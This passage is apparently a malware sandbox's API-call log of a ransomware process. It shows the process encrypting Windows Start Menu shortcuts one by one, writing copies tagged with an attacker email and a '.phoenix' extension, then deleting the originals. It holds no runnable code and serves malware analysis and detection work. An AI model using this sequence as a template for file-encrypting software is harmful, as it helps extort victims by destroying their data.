	[0267.701] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.702] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0267.702] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.702] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x9d4, lpOverlapped=0x0) returned 1
	[0267.713] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x9e0) returned 1
	[0267.713] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x9e0, lpOverlapped=0x0) returned 1
	[0267.714] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0267.714] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.714] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0267.714] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.714] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x122, lpOverlapped=0x0) returned 1
	[0267.714] CryptDestroyKey (hKey=0x151100) returned 1
	[0267.714] CloseHandle (hObject=0x2e8) returned 1
	[0267.714] CloseHandle (hObject=0x2b0) returned 1
	[0267.715] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk")) returned 1
	[0267.715] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.716] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.716] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2219) returned 1
	[0267.716] CloseHandle (hObject=0x2b0) returned 1
	[0267.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk")) returned 0x25
	[0267.716] SetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk", dwFileAttributes=0x24) returned 1
	[0267.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.717] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.717] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.717] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.717] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.717] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0267.717] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.717] ReadFile (in: hFile=0x2b0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x8ab, lpOverlapped=0x0) returned 1
	[0267.732] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x8b0, dwBufLen=0x8b0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x8b0) returned 1
	[0267.732] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x8b0, lpOverlapped=0x0) returned 1
	[0267.732] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151540) returned 1
	[0267.732] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.732] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0267.732] CryptDestroyKey (hKey=0x151540) returned 1
	[0267.732] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0267.733] CryptDestroyKey (hKey=0x151200) returned 1
	[0267.733] CloseHandle (hObject=0x2b0) returned 1
	[0267.733] CloseHandle (hObject=0x2e8) returned 1
	[0267.733] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk")) returned 1
	[0267.739] SetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix", dwFileAttributes=0x25) returned 1
	[0267.740] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.740] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.742] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2498) returned 1
	[0267.742] CloseHandle (hObject=0x2c0) returned 1
	[0267.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk")) returned 0x20
	[0267.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.742] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.742] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.742] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.742] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.743] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1510c0) returned 1
	[0267.743] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.743] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x9c2, lpOverlapped=0x0) returned 1
	[0267.785] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x9d0, dwBufLen=0x9d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x9d0) returned 1
	[0267.785] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x9d0, lpOverlapped=0x0) returned 1
	[0267.786] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0267.786] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.786] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60, dwBufLen=0x60 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60) returned 1
	[0267.786] CryptDestroyKey (hKey=0x151100) returned 1
	[0267.786] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x112, lpOverlapped=0x0) returned 1
	[0267.786] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0267.786] CloseHandle (hObject=0x2c0) returned 1
	[0267.786] CloseHandle (hObject=0x2c4) returned 1
	[0267.786] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive for Business.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onedrive for business.lnk")) returned 1
	[0267.787] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.787] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.788] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2413) returned 1
	[0267.788] CloseHandle (hObject=0x2c4) returned 1
	[0267.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk")) returned 0x20
	[0267.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.788] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0267.788] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.788] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.788] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.798] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151340) returned 1
	[0267.798] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.798] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x96d, lpOverlapped=0x0) returned 1
	[0267.803] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x970, dwBufLen=0x970 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x970) returned 1
	[0267.803] WriteFile (in: hFile=0x240, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x970, lpOverlapped=0x0) returned 1
	[0267.803] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0267.803] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.803] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0267.804] CryptDestroyKey (hKey=0x151440) returned 1
	[0267.804] WriteFile (in: hFile=0x240, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0267.804] CryptDestroyKey (hKey=0x151340) returned 1
	[0267.804] CloseHandle (hObject=0x2c4) returned 1
	[0267.804] CloseHandle (hObject=0x240) returned 1
	[0267.804] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk")) returned 1
	[0267.853] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.853] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.869] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2456) returned 1
	[0267.869] CloseHandle (hObject=0x2e4) returned 1
	[0267.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk")) returned 0x20
	[0267.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.869] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.869] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.869] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.869] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.869] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151340) returned 1
	[0267.869] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.870] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x998, lpOverlapped=0x0) returned 1
	[0267.880] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x9a0) returned 1
	[0267.880] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x9a0, lpOverlapped=0x0) returned 1
	[0267.881] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0267.881] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.881] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0267.881] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.881] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0267.881] CryptDestroyKey (hKey=0x151340) returned 1
	[0267.881] CloseHandle (hObject=0x2e4) returned 1
	[0267.881] CloseHandle (hObject=0x2c0) returned 1
	[0267.881] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\powerpoint 2016.lnk")) returned 1
	[0267.882] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.882] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.883] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2199) returned 1
	[0267.883] CloseHandle (hObject=0x2c0) returned 1
	[0267.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk")) returned 0x25
	[0267.883] SetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk", dwFileAttributes=0x24) returned 1
	[0267.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.884] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.884] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.884] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.884] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\PrintDialog.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\printdialog.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.884] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0267.885] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.885] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x897, lpOverlapped=0x0) returned 1
	[0267.894] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x8a0, dwBufLen=0x8a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x8a0) returned 1
	[0267.894] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x8a0, lpOverlapped=0x0) returned 1
